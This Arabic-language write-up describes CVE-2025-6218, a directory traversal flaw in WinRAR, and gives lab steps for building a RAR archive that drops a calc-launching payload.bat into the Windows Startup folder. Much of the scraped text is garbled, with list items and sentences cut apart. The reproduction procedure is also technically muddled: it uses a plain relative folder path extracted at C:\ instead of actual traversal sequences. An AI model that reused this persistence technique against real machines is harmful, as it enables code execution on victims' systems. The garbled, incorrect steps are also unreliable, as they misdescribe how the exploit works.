
CVE-2025-6218 هي ثغرة اجتياز دليل في WinRAR تسمح للمهاجم بوضع ملفات خارج دليل الاستخراج المقصود عندما يقوم المستخدم باستخراج ملف معد خصيصًا
CVE-2025-6218 هي ثغرة اجتياز دليل (Directory Traversal) في برنامج WinRAR تتيح للمهاجم وضع الملفات خارج مجلد الاستخراج المقصود عندما يقوم المستخدم باستخراج أرشيف .rar مصمم خصيصًا. من خلال استغلال هذا الخلل، يمكن للمهاجم إسقاط ملفات ضارة في مواقع حساسة، مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) إذا تم تنفيذ الملف بواسطة النظام أو المستخدم.
---
WinRAR.exe --version).ثغرات اجتياز الدليل تسمح للمهاجمين بالتلاعب بمسارات الملفات لكتابة ملفات في مواقع غير مقصودة. في سياق WinRAR، يعني هذا أن ملفًا من المفترض استخراجه إلى C:\Temp يمكن بدلاً من ذلك وضعه في دليل حساس مثل مجلد بدء التشغيل في Windows (C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup). إذا تم وضع ملف تنفيذي ضار أو سكريبت في مثل هذا الموقع، فقد يتم تشغيله تلقائيًا، مما يمنح المهاجم السيطرة على نظام الضحية.
يمكن للمهاجم:
.bat) في مجلد بدء التشغيل لتنفيذ تعليمات برمجية عند تشغيل النظام.C:\Windows\System32 لتعطيل وظائف النظام أو تصعيد الامتيازات.ينشأ الثغرة من فشل WinRAR في التحقق بشكل صحيح وتنقية مسارات الملفات المخزنة داخل أرشيف .rar. عند استخراج الملفات، يثق WinRAR في بيانات مسار الملف في الأرشيف دون التحقق بشكل كافٍ من وجود تسلسلات اجتياز المسار مثل ..\ أو ../../. يتيح ذلك للمهاجم إنشاء أرشيف حيث يشير مسار ملف إلى خارج مجلد الاستخراج المقصود.
..\..\..\ عملية الاستخراج..\ في مسار ملف يوجه النظام للانتقال إلى مستوى دليل أعلى. من خلال ربط عدة تسلسلات ..\ (مثل ..\..\..\..\..)، يمكن للمهاجم التنقل من مجلد الاستخراج (مثل C:\Temp\Test) إلى جذر القرص (C:\) ثم إلى أي موقع مرغوب، مثل C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup يتم تنفيذها تلقائيًا عند تسجيل دخول المستخدم. يمكن لملف .bat أو .exe ضار هنا تشغيل أوامر عشوائية.C:\Windows\System32 يمكن أن يعرض سلامة النظام للخطر أو يمكّن من تصعيد الامتيازات.الاستخراج المقصود (آمن):
- يستخرج المستخدم الأرشيف إلى: C:\Temp\Test
- الأرشيف يحتوي على ملف: payload.bat
- النتيجة المتوقعة: C:\Temp\Test\payload.bat
الاستخراج الفعلي (مستغل):
- يستخرج المستخدم الأرشيف إلى: C:\Temp\Test
- الأرشيف يحتوي على ملف بمسار: ..\..\..\..\..\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
- النتيجة الفعلية: C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
يقدم هذا القسم تعليمات خطوة بخطوة لإعادة إنتاج ثغرة CVE-2025-6218 يدويًا في بيئة مختبرية آمنة ومعزولة باستخدام جهاز افتراضي (VM) بدون اتصال شبكي. الهدف هو إنشاء أرشيف .rar يضع ملف .bat غير ضار في مجلد بدء التشغيل في Windows، والذي يقوم بتشغيل الآلة الحاسبة (calc.exe) عند تسجيل دخول المستخدم.
تحضير مجلد اختبار:
exploit_test (مثل C:\exploit_test).إنشاء حمولة بسيطة:
@echo off
start calc.exe
payload.bat في C:\exploit_test.إنشاء هيكل المجلدات لاجتياز المسار:
C:\exploit_test، أنشئ هيكل مجلدات يعكس المسار المطلوب:
C:\exploit_test\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
<username> باسم المستخدم المستهدف على الجهاز الافتراضي (مثل absholi7ly).payload.bat إلى مجلد :
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
payload.bat. إذا كان موجودًا، فإن استغلال اجتياز الدليل نجح.payload.bat في Notepad للتحقق من محتوياته:
@echo off
start calc.exe
payload.bat في مجلد بدء التشغيل واختر Properties.C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\payload.bat أو مجلد فرعي مثل C:\Users\username\AppData\Roaming\...)، فإن الاستغلال لم يعمل كما هو مقصود.username.payload.bat في مجلد بدء التشغيل للتحقق من أنه يعمل.StartupC:\exploit_test\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
إنشاء أرشيف RAR ضار باستخدام WinRAR:
C:\exploit_test.Users (الذي يحتوي على المسار الكامل لـ payload.bat).exploit.rar (مثل C:\exploit_test\exploit.rar).exploit.rar في WinRAR. يجب أن ترى:
Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
نقل الأرشيف إلى الجهاز الافتراضي:
exploit.rar إلى مجلد مشترك أو محرك USB يمكن الوصول إليه بواسطة الجهاز الافتراضي.exploit.rar إلى جذر محرك C:\:
C:\exploit.rar
استخراج الأرشيف على الجهاز الافتراضي:
C:\.exploit.rar واختر Extract Here.payload.bat إلى:
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
التحقق من الاستغلال:
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
payload.bat موجودًا في هذا المجلد.اختبار تنفيذ الحمولة:
username.calc.exe) تلقائيًا.payload.bat في مجلد بدء التشغيل لتأكيد أنه يفتح الآلة الحاسبة.